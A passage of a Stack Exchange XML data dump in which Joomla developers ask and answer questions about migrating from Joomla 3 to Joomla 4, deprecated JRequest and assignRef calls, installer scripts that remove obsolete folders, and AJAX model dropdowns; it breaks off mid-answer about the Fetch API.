  <row Id="32614" PostTypeId="2" ParentId="32610" CreationDate="2022-12-07T22:50:12.487" Score="0" Body="&lt;p&gt;In &lt;code&gt;libraries/src/Application/CMSApplication.php&lt;/code&gt; you have two events during the login process that trigger plugins relevant to a login failure or unauthenticated user situation and if you were to create a plugin that was triggered by one of these events you could then return the 401.&lt;/p&gt;&#xA;&lt;p&gt;In the above code search for either &lt;code&gt;onUserLoginFailure&lt;/code&gt; or &lt;code&gt;onUserAuthorisationFailure&lt;/code&gt; to see where/when your plugin would be triggered and use the most appropriate one to your needs.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-12-07T22:50:12.487" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32615" PostTypeId="1" AcceptedAnswerId="32616" CreationDate="2022-12-08T05:45:48.403" Score="2" ViewCount="342" Body="&lt;p&gt;I believe JRequest is deprecated in the latest version of Joomla 3, have rewritten this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    $user = JFactory::getUser();&#xA;    &#xA;    $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;item = $this-&amp;gt;get('Data');&#xA;    $this-&amp;gt;params = $app-&amp;gt;getParams('com_car');&#xA;    &#xA;    $db         =   JFactory::getDBO();&#xA;    $user       = JFactory::getUser();&#xA;    // Push a model into the view&#xA;    $model      = $this-&amp;gt;getModel();&#xA;    $modelcar   = $this-&amp;gt;getModel( 'product' );&#xA;    $id = JRequest::getVar('id','','default','int');&#xA;    $vid = JRequest::getVar('vid','','default','int');&#xA;    &#xA;    $prodDet = $modelcar-&amp;gt;loadProduct($id,$vid);&#xA;    &#xA;    $this-&amp;gt;assignRef('prodDet'  , $prodDet);&#xA;            &#xA;    $CatName = $modelcar-&amp;gt;getCatName($id);&#xA;    $this-&amp;gt;assignRef('CatName'  , $CatName);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;New Code&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    $user = JFactory::getUser();&#xA;    &#xA;    $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;item = $this-&amp;gt;get('Data');&#xA;    $this-&amp;gt;params = $app-&amp;gt;getParams('com_car');&#xA;    &#xA;    $db         =   JFactory::getDBO();&#xA;    $user       = JFactory::getUser();&#xA;    // Push a model into the view&#xA;    $model      = $this-&amp;gt;getModel();&#xA;    $modelcar   = $this-&amp;gt;getModel( 'product' );&#xA;            &#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;    $id = $jinput-&amp;gt;get('id','','default','int');&#xA;    $vid = $jinput-&amp;gt;get('vid','','default','int');&#xA;    &#xA;    //  $id = JRequest::getVar('id','','default','int');&#xA;    //  $vid = JRequest::getVar('vid','','default','int');&#xA;    &#xA;    $prodDet = $modelcar-&amp;gt;loadProduct($id,$vid);&#xA;    &#xA;    $this-&amp;gt;assignRef('prodDet'  , $prodDet);&#xA;            &#xA;    $CatName = $modelcar-&amp;gt;getCatName($id);&#xA;    $this-&amp;gt;assignRef('CatName'  , $CatName);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this the correct fix? Is there a better way to rewrite this method?&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2022-12-10T11:22:50.993" LastActivityDate="2022-12-10T11:22:50.993" Title="Better way to rewrite method without deprecated JRequest" Tags="|joomla-3.x|jrequest|deprecated|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32616" PostTypeId="2" ParentId="32615" CreationDate="2022-12-08T11:17:43.773" Score="3" Body="&lt;p&gt;You could replace the use of &lt;code&gt;JFactory&lt;/code&gt; with a &lt;code&gt;Factory&lt;/code&gt; to prepare for Joomla 5.0 where it will be depreciated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;class yourclassname&#xA;{&#xA;   public function display($tpl = null)&#xA;    {&#xA;    $app = Factory::getApplication()&#xA;    ...&#xA;    }&#xA;   ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You could also see if the Application is already available to your class by checking if &lt;code&gt;$this-&amp;gt;app&lt;/code&gt; already exists.&lt;/p&gt;&#xA;&lt;p&gt;As you have already got the Application with the above assigned to &lt;code&gt;$app&lt;/code&gt; or &lt;code&gt;$this-&amp;gt;app&lt;/code&gt; then you don't need to get it again with &lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&lt;/code&gt; , updating your code with these statements  instead.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id  = $app-&amp;gt;input-&amp;gt;get('id','','default','int');&#xA;$vid = $app-&amp;gt;input-&amp;gt;get('vid','','default','int');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or if $this-&amp;gt;app is available.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id  = $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('id','','default','int');&#xA;$vid = $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('vid','','default','int');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These two statements can also be updated to use Factory as well.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db        = Factory::getDBO();&#xA;$user      = Factory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And you have two statements for &lt;code&gt;$user = JFactory::getUser();&lt;/code&gt;, you only need to get it once.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-12-09T04:48:57.840" LastActivityDate="2022-12-09T04:48:57.840" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="32617" PostTypeId="1" CreationDate="2022-12-08T16:21:52.227" Score="1" ViewCount="118" Body="&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;extension&lt;/th&gt;&#xA;&lt;th&gt;title&lt;/th&gt;&#xA;&lt;th&gt;alias&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;com_content&lt;/td&gt;&#xA;&lt;td&gt;Uncategorised&lt;/td&gt;&#xA;&lt;td&gt;uncategorised&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;com_banners&lt;/td&gt;&#xA;&lt;td&gt;Sample Data-Banners&lt;/td&gt;&#xA;&lt;td&gt;sample-data-banners&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;com_banners&lt;/td&gt;&#xA;&lt;td&gt;Sample Data-Newsfeeds&lt;/td&gt;&#xA;&lt;td&gt;sample-data-newsfeeds&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;com_newsfeeds&lt;/td&gt;&#xA;&lt;td&gt;Sample Data-Contact&lt;/td&gt;&#xA;&lt;td&gt;sample-data-contact&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;com_contact&lt;/td&gt;&#xA;&lt;td&gt;Joomla!&lt;/td&gt;&#xA;&lt;td&gt;joomla&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;com_productdeal.products&lt;/td&gt;&#xA;&lt;td&gt;products Category one&lt;/td&gt;&#xA;&lt;td&gt;products-category&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;If I try to print categories for Content, Banners, or Contact then getInstance function returns data correctly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$categories = Categories::getInstance('Content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When trying to print the categories of another custom extension, it returns nothing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$categories = Categories::getInstance('productdeal.products');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why can't I use custom extensions with &lt;code&gt;Categories::getInstance()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="16785" LastEditorUserId="12352" LastEditDate="2022-12-08T20:48:28.037" LastActivityDate="2023-05-24T12:03:35.443" Title="Joomla 4 : Categories::getInstance('productshop.products'); not working for my custom extension" Tags="|extensions|joomla-4.x|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32618" PostTypeId="1" CreationDate="2022-12-10T04:05:57.277" Score="0" ViewCount="56" Body="&lt;p&gt;As joomla 3x has inbuilt ajax&#xA;instead of calling an external script, can joomla inbuilt ajax system be used to fetch data from table without refreshing page&lt;/p&gt;&#xA;&lt;p&gt;I mean if there is a table having company field like apple, samsung then on selecting apple can display in iphone11,iphone12,iphone13,iphone14. Whats the path of ajax script which is inbuilt in joomla&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2022-12-12T23:18:17.803" Title="How to integrate inbuilt joomla ajax" Tags="|ajax|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32619" PostTypeId="1" AcceptedAnswerId="32620" CreationDate="2022-12-10T05:47:20.620" Score="1" ViewCount="440" Body="&lt;p&gt;While this code working in Joomla 3x with PHP 8, it is not working in Joomla 4x -- it is showing error class to undefined method&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)&#xA;{&#xA;    $app = Factory::getApplication();&#xA;    $db  = Factory::getDBO();&#xA;    $user = Factory::getUser();&#xA;    $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;item = $this-&amp;gt;get('Data');&#xA;    $this-&amp;gt;params = $app-&amp;gt;getParams('com_car');&#xA;&#xA;    $model      = $this-&amp;gt;getModel();&#xA;    $modelcar   = $this-&amp;gt;getModel( 'product' );&#xA;        &#xA;    $id  = $app-&amp;gt;input-&amp;gt;get('id','','default','int');&#xA;    $vid = $app-&amp;gt;input-&amp;gt;get('vid','','default','int');&#xA;        &#xA;    $prodDet = $modelcar-&amp;gt;loadProduct($id,$vid);&#xA;    $this-&amp;gt;assignRef('prodDet'  , $prodDet);&#xA;        &#xA;    $CatName = $modelcar-&amp;gt;getCatName($id);&#xA;    $this-&amp;gt;assignRef('CatName'  , $CatName);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here this line is the problem area:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$prodDet = $modelcar-&amp;gt;loadProduct($id,$vid);&#xA;$this-&amp;gt;assignRef('prodDet'  , $prodDet);&#xA;    &#xA;$CatName = $modelcar-&amp;gt;getCatName($id);&#xA;$this-&amp;gt;assignRef('CatName'  , $CatName);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2022-12-10T11:34:01.103" LastActivityDate="2022-12-10T11:34:01.103" Title="Joomla4 error: class to undefined method" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32620" PostTypeId="2" ParentId="32619" CreationDate="2022-12-10T08:29:56.153" Score="2" Body="&lt;p&gt;&lt;code&gt;Joomla\CMS\MVC\View\HtmlView::assignRef()&lt;/code&gt; has been removed. Use native PHP syntax:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;CatName = &amp;amp;$CatName;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In most cases you probably don't even need to assign by reference. So use this instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;CatName = $CatName;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-10T08:29:56.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32621" PostTypeId="1" CreationDate="2022-12-10T12:51:04.017" Score="0" ViewCount="34" Body="&lt;p&gt;The install script can delete obsolete files by creating as a protected property an array called $deleteFiles containing relative paths, and calling the inherited method removeFiles().&lt;/p&gt;&#xA;&lt;p&gt;However, this ignores any entries that are not files. Is there a way to remove folders, including their contents?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2022-12-10T17:38:16.010" Title="Is there a way to remove obsolete folders on update from the install script?" Tags="|installation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32622" PostTypeId="2" ParentId="32621" CreationDate="2022-12-10T16:23:12.937" Score="1" Body="&lt;p&gt;It sounds like you're talking about &lt;code&gt;Joomla\CMS\Installer\InstallerScript&lt;/code&gt; class. If so, it does have &lt;code&gt;$deleteFolders&lt;/code&gt; class property which you can populate with directories. Directories and their contents will be deleted when &lt;code&gt;removeFiles()&lt;/code&gt; method is called.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-10T16:23:12.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32623" PostTypeId="2" ParentId="32621" CreationDate="2022-12-10T17:38:16.010" Score="0" Body="&lt;p&gt;Is the class and property @Sharky comment before. But, in my case I never get this property work, not matter what I put in those array.&lt;/p&gt;&#xA;&lt;p&gt;So, using the &lt;strong&gt;preflight&lt;/strong&gt; method of the &lt;code&gt;Joomla\CMS\Installer\InstallerScript&lt;/code&gt; class, I copy the exact logic of the &lt;strong&gt;removeFiles&lt;/strong&gt; method and it work. This always confuse me, but is what so far I need do for deal with this.&lt;/p&gt;&#xA;&lt;p&gt;So, at the end, the method look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;     * Function called before extension installation/update/removal procedure commences.&#xA;     *&#xA;     * @param   string            $type     The type of change (install or discover_install, update, uninstall)&#xA;     * @param   InstallerAdapter  $adapter  The adapter calling this method&#xA;     *&#xA;     * @return  boolean  True on success&#xA;     *&#xA;     * @since   4.2.0&#xA;     */&#xA;    public function preflight($type, $adapter): bool&#xA;    {&#xA;        if (!empty($this-&amp;gt;deleteFiles)) {&#xA;            foreach ($this-&amp;gt;deleteFiles as $file) {&#xA;                if (file_exists(JPATH_ROOT . $file) &amp;amp;&amp;amp; !File::delete(JPATH_ROOT . $file)) {&#xA;                    echo Text::sprintf('JLIB_INSTALLER_ERROR_FILE_FOLDER', $file) . '&amp;lt;br&amp;gt;';&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        if (!empty($this-&amp;gt;deleteFolders)) {&#xA;            foreach ($this-&amp;gt;deleteFolders as $folder) {&#xA;                if (Folder::exists(JPATH_ROOT . $folder) &amp;amp;&amp;amp; !Folder::delete(JPATH_ROOT . $folder)) {&#xA;                    echo Text::sprintf('JLIB_INSTALLER_ERROR_FILE_FOLDER', $folder) . '&amp;lt;br&amp;gt;';&#xA;                }&#xA;            }&#xA;        }&#xA;        &#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2022-12-10T17:38:16.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32624" PostTypeId="1" AcceptedAnswerId="32625" CreationDate="2022-12-10T18:26:57.503" Score="1" ViewCount="80" Body="&lt;p&gt;am calling file - getbrand.php to display list of models using ajax&lt;/p&gt;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function brand_down(){&#xA;    $db = JFactory::getDBO();&#xA;    $sql = &amp;quot;SELECT * from #__car_categories where state='1'&amp;quot;;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;    $list=&amp;quot;&amp;quot;;&#xA;    foreach($rows as $row){&#xA;        $list.=&amp;quot;&amp;lt;option value='&amp;quot;.$row-&amp;gt;id.&amp;quot;' style='padding-left:10px;'&amp;gt;&amp;quot;.$row-&amp;gt;cat_name.&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;&#xA;    }&#xA;    return $list;&#xA;}&#xA;&#xA;function model_down(){&#xA;    $db = JFactory::getDBO();&#xA;    $sql = &amp;quot;SELECT * from #__car_products where state='1'&amp;quot;;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;    $list=&amp;quot;&amp;quot;;&#xA;    foreach($rows as $row){&#xA;        $list.=&amp;quot;&amp;lt;option value='&amp;quot;.$row-&amp;gt;id.&amp;quot;' style='padding-left:10px;'&amp;gt;&amp;quot;.$row-&amp;gt;prod_name.&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;&#xA;    }&#xA;    return $list;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;ajax.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA; &amp;lt;script language=&amp;quot;javascript&amp;quot;&amp;gt;&#xA; function showModelCar(str)&#xA; {&#xA;    url = &amp;quot;getbrand.php?s=&amp;quot;+str;&#xA;    getRequest(url,&amp;quot;txtHint&amp;quot;);&#xA; }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;getbrand.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    define( '_JEXEC', 1 );&#xA;    define('JPATH_BASE', dirname(__FILE__));  &#xA;    require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;    require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;    $mainframe = JFactory::getApplication('site');&#xA;    &#xA;     // GET using JInput&#xA;    $jinput  = JFactory::getApplication()-&amp;gt;input;&#xA;    $ModelId = $jinput-&amp;gt;get('s', '', 'INT');&#xA;    &#xA;    $db = JFactory::getDBO();   &#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    &#xA;    &#xA;$query-&amp;gt;select($db-&amp;gt;qn(array('id','prod_id','prod_name')))&#xA;  -&amp;gt;from($db-&amp;gt;qn('#__car_products'))&#xA;  -&amp;gt;where($db-&amp;gt;qn('state') . ' = 1')&#xA;  -&amp;gt;where($db-&amp;gt;qn('prod_id') . ' = ' . (int)$ModelId)&#xA;  $db-&amp;gt;setQuery($query);    &#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;$list='&amp;lt;select name=&amp;quot;model&amp;quot; class=&amp;quot;list-box&amp;quot; id=&amp;quot;model&amp;quot;  lang=&amp;quot;&amp;quot; title=&amp;quot;Model&amp;quot;&amp;gt;';&#xA;$list.='&amp;lt;option value=&amp;quot;&amp;quot; style=&amp;quot;padding-left:10px;&amp;quot; selected&amp;gt;-Select Model-&amp;lt;/option&amp;gt;';&#xA;foreach($rows as $row){&#xA;    $list.='&amp;lt;option value=&amp;quot;'.$row-&amp;gt;id .'&amp;quot; style=&amp;quot;padding-left:10px;&amp;quot;&amp;gt;'.$row-&amp;gt;prod_name.'&amp;lt;/option&amp;gt;';&#xA;}&#xA;$list.='&amp;lt;/select&amp;gt;';&#xA;   $list.='&amp;lt;/select&amp;gt;';&#xA;    die($list);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Although its working in joomla 3.10, but showing factory error in joomla 4 with.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; HTTP 500 Whoops, looks like something went wrong.&#xA;Failed to start application&#xA;Exception&#xA;Exception&#xA;in F:\wamp64\www\7thdecember2022\libraries\src\Factory.php (line 140)&#xA;     * @throws  \Exception     */    public static function getApplication()    {        if (!self::$application) {            throw new \Exception('Failed to start application', 500);        }        return self::$application;    }&#xA;Factory::getApplication('site')&#xA;in F:\wamp64\www\7thdecember2022\getbrand.php (line 6)&#xA;&amp;lt;?php    define( '_JEXEC', 1 );    define('JPATH_BASE', dirname(__FILE__));      require_once ( JPATH_BASE .'/includes/defines.php' );    require_once ( JPATH_BASE .'/includes/framework.php' );    $mainframe = JFactory::getApplication('site');    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any tips on how to make it work in joomla 4 too. Any suggestions&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Now new function in default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    function brand_down(){&#xA;        $db = JFactory::getDBO();&#xA;        $sql = &amp;quot;SELECT * from #__car_categories where state='1'&amp;quot;;&#xA;        $db-&amp;gt;setQuery($sql);&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;        $list=&amp;quot;&amp;quot;;&#xA;        foreach($rows as $row){&#xA;            $list.=&amp;quot;&amp;lt;option value='&amp;quot;.$row-&amp;gt;id.&amp;quot;' style='padding-left:10px;'&amp;gt;&amp;quot;.$row-&amp;gt;cat_name.&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;&#xA;        }&#xA;        return $list;&#xA;    }&#xA;    &#xA;    function model_down(){&#xA;        $db = JFactory::getDBO();&#xA;        $sql = &amp;quot;SELECT * from #__car_products where state='1'&amp;quot;;&#xA;        $db-&amp;gt;setQuery($sql);&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;        $list=&amp;quot;&amp;quot;;&#xA;        foreach($rows as $row){&#xA;            $list.=&amp;quot;&amp;lt;option value='&amp;quot;.$row-&amp;gt;id.&amp;quot;' style='padding-left:10px;'&amp;gt;&amp;quot;.$row-&amp;gt;prod_name.&amp;quot;&amp;lt;/option&amp;gt;&amp;quot;;&#xA;        }&#xA;        return $list;&#xA;    }&#xA;&#xA;function showModelCar{&#xA;        $db = JFactory::getDBO();   &#xA;        $query = $db-&amp;gt;getQuery(true);            &#xA;    $query-&amp;gt;select($db-&amp;gt;qn(array('id','prod_id','prod_name')))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__car_products'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('state') . ' = 1')&#xA;      -&amp;gt;where($db-&amp;gt;qn('prod_id') . ' = ' . (int)$ModelId)&#xA;      $db-&amp;gt;setQuery($query);    &#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;    $list='&amp;lt;select name=&amp;quot;model&amp;quot; class=&amp;quot;list-box&amp;quot; id=&amp;quot;model&amp;quot;  lang=&amp;quot;&amp;quot; title=&amp;quot;Model&amp;quot;&amp;gt;';&#xA;    $list.='&amp;lt;option value=&amp;quot;&amp;quot; style=&amp;quot;padding-left:10px;&amp;quot; selected&amp;gt;-Select Model-&amp;lt;/option&amp;gt;';&#xA;    foreach($rows as $row){&#xA;        $list.='&amp;lt;option value=&amp;quot;'.$row-&amp;gt;id .'&amp;quot; style=&amp;quot;padding-left:10px;&amp;quot;&amp;gt;'.$row-&amp;gt;prod_name.'&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    $list.='&amp;lt;/select&amp;gt;';&#xA;       $list.='&amp;lt;/select&amp;gt;';&#xA;        die($list);&#xA;]&#xA;    ?&amp;gt;&#xA;&#xA;and call in on same page&#xA;&#xA;    &amp;lt;div class=&amp;quot;search-box&amp;quot;&amp;gt;&#xA;                          &amp;lt;div class=&amp;quot;search-box-left&amp;quot;&amp;gt;Brand *&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&amp;quot;search-box-right&amp;quot;&amp;gt;          &#xA;    &#xA;                    &amp;lt;select name=&amp;quot;brand&amp;quot; class=&amp;quot;list-box&amp;quot; id=&amp;quot;brand&amp;quot;  lang=&amp;quot;&amp;quot; title=&amp;quot;Brand&amp;quot; onchange=&amp;quot;showModelCar(this.value)&amp;quot; required&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;&amp;quot; selected=&amp;quot;selected&amp;quot; style='padding-left:10px;'&amp;gt;Select Make&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;?php echo brand_drop_down();?&amp;gt;&#xA;                    &#xA;    &#xA;                  &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&amp;quot;search-box-left&amp;quot;&amp;gt;Model &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&amp;quot;search-box-right&amp;quot;&amp;gt;&#xA;                        &amp;lt;div id=&amp;quot;txtHint&amp;quot;&amp;gt;&#xA;                        &amp;lt;select name=&amp;quot;model&amp;quot; class=&amp;quot;list-box&amp;quot;  id=&amp;quot;model&amp;quot;  lang=&amp;quot;&amp;quot; title=&amp;quot;Model&amp;quot;&amp;gt;&#xA;                         &amp;lt;option value=&amp;quot;&amp;quot; selected=&amp;quot;selected&amp;quot; style=&amp;quot;padding-left:10px;&amp;quot;&amp;gt; Select Model&amp;lt;/option&amp;gt;&#xA;                         &amp;lt;?php //echo $this-&amp;gt;model;?&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But seems its not working as earlier script was used and                             not getting executed now&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="5654" LastEditDate="2022-12-12T02:18:34.937" LastActivityDate="2022-12-12T02:18:34.937" Title="Joomla function to list down models in 3.11 not working in Joomla 4" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32625" PostTypeId="2" ParentId="32624" CreationDate="2022-12-11T20:59:24.103" Score="2" Body="&lt;p&gt;Things work differently in Joomla 4 so you will need either a different copy of the code or check to determine which version of Joomla you are using and execute the right command.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4 &lt;code&gt;Factory::getApplication('site')&lt;/code&gt; is no longer a valid statement as getApplication does not allow any parameters. In J4 you write it as &lt;code&gt;Factory::getApplication()&lt;/code&gt; however that will just return you the current Application(eg. Site, Administrator,API,CLI) whereas your current use of getApplication('site') is saying you want the Site application.&lt;/p&gt;&#xA;&lt;p&gt;That requires you to use the container to specify which application you want, &lt;code&gt;Factory::getContainer()-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;However I don't see anything in you piece of code that really needs anything from the Site so you could probably just use &lt;code&gt;Factory::getapplication()&lt;/code&gt; and that would be enough to get the Input and for the rest of your code to do the data base query.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-12-11T20:59:24.103" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32626" PostTypeId="2" ParentId="32597" CreationDate="2022-12-12T06:56:17.457" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/route-66/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Route 66&lt;/a&gt; should be suitable for your use case. From its description:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Patterns can include any URL friendly character along with some tokens&#xA;for generating dynamic variables ( like the article's date for example&#xA;). Here are some examples of URL patterns you can use in Route 66:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;blog/{articleYear}/{articleMonth}/{articleAlias}&lt;/li&gt;&#xA;&lt;li&gt;{categoryAlias}/{articleAlias}&lt;/li&gt;&#xA;&lt;li&gt;{articleAlias}&lt;/li&gt;&#xA;&lt;li&gt;page-{articleId}&lt;/li&gt;&#xA;&lt;li&gt;{categoryPath}/{articleAlias}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So using &lt;code&gt;{articleAlias}&lt;/code&gt; should work in your case.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/direct-alias/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Direct Alias&lt;/a&gt; has a similar function but it seems to be limited to menu items:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This plugin allows you to switch alias to 'direct' mode and have short&#xA;URL without aliases of parent menu items:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/child-menu-item-alias&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://site.com/child-menu-item-alias&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-12T06:56:17.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32627" PostTypeId="2" ParentId="32618" CreationDate="2022-12-12T23:18:17.803" Score="1" Body="&lt;p&gt;You don't have to use com_ajax, in fact I find it easier to do a Fetch directly to a View or Controller in my extensions and return the data to the calling java script. What follows is a sample of something I am working on at the moment to give you an idea what is involved, however it has been heavily edited to appear here so don't expect it to be working code you can just cut and paste but it would be close.&lt;/p&gt;&#xA;&lt;p&gt;This JS uses the browser Fetch API rather than the older 'ajax' approach, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API&lt;/a&gt;, which I find a lot easier to work 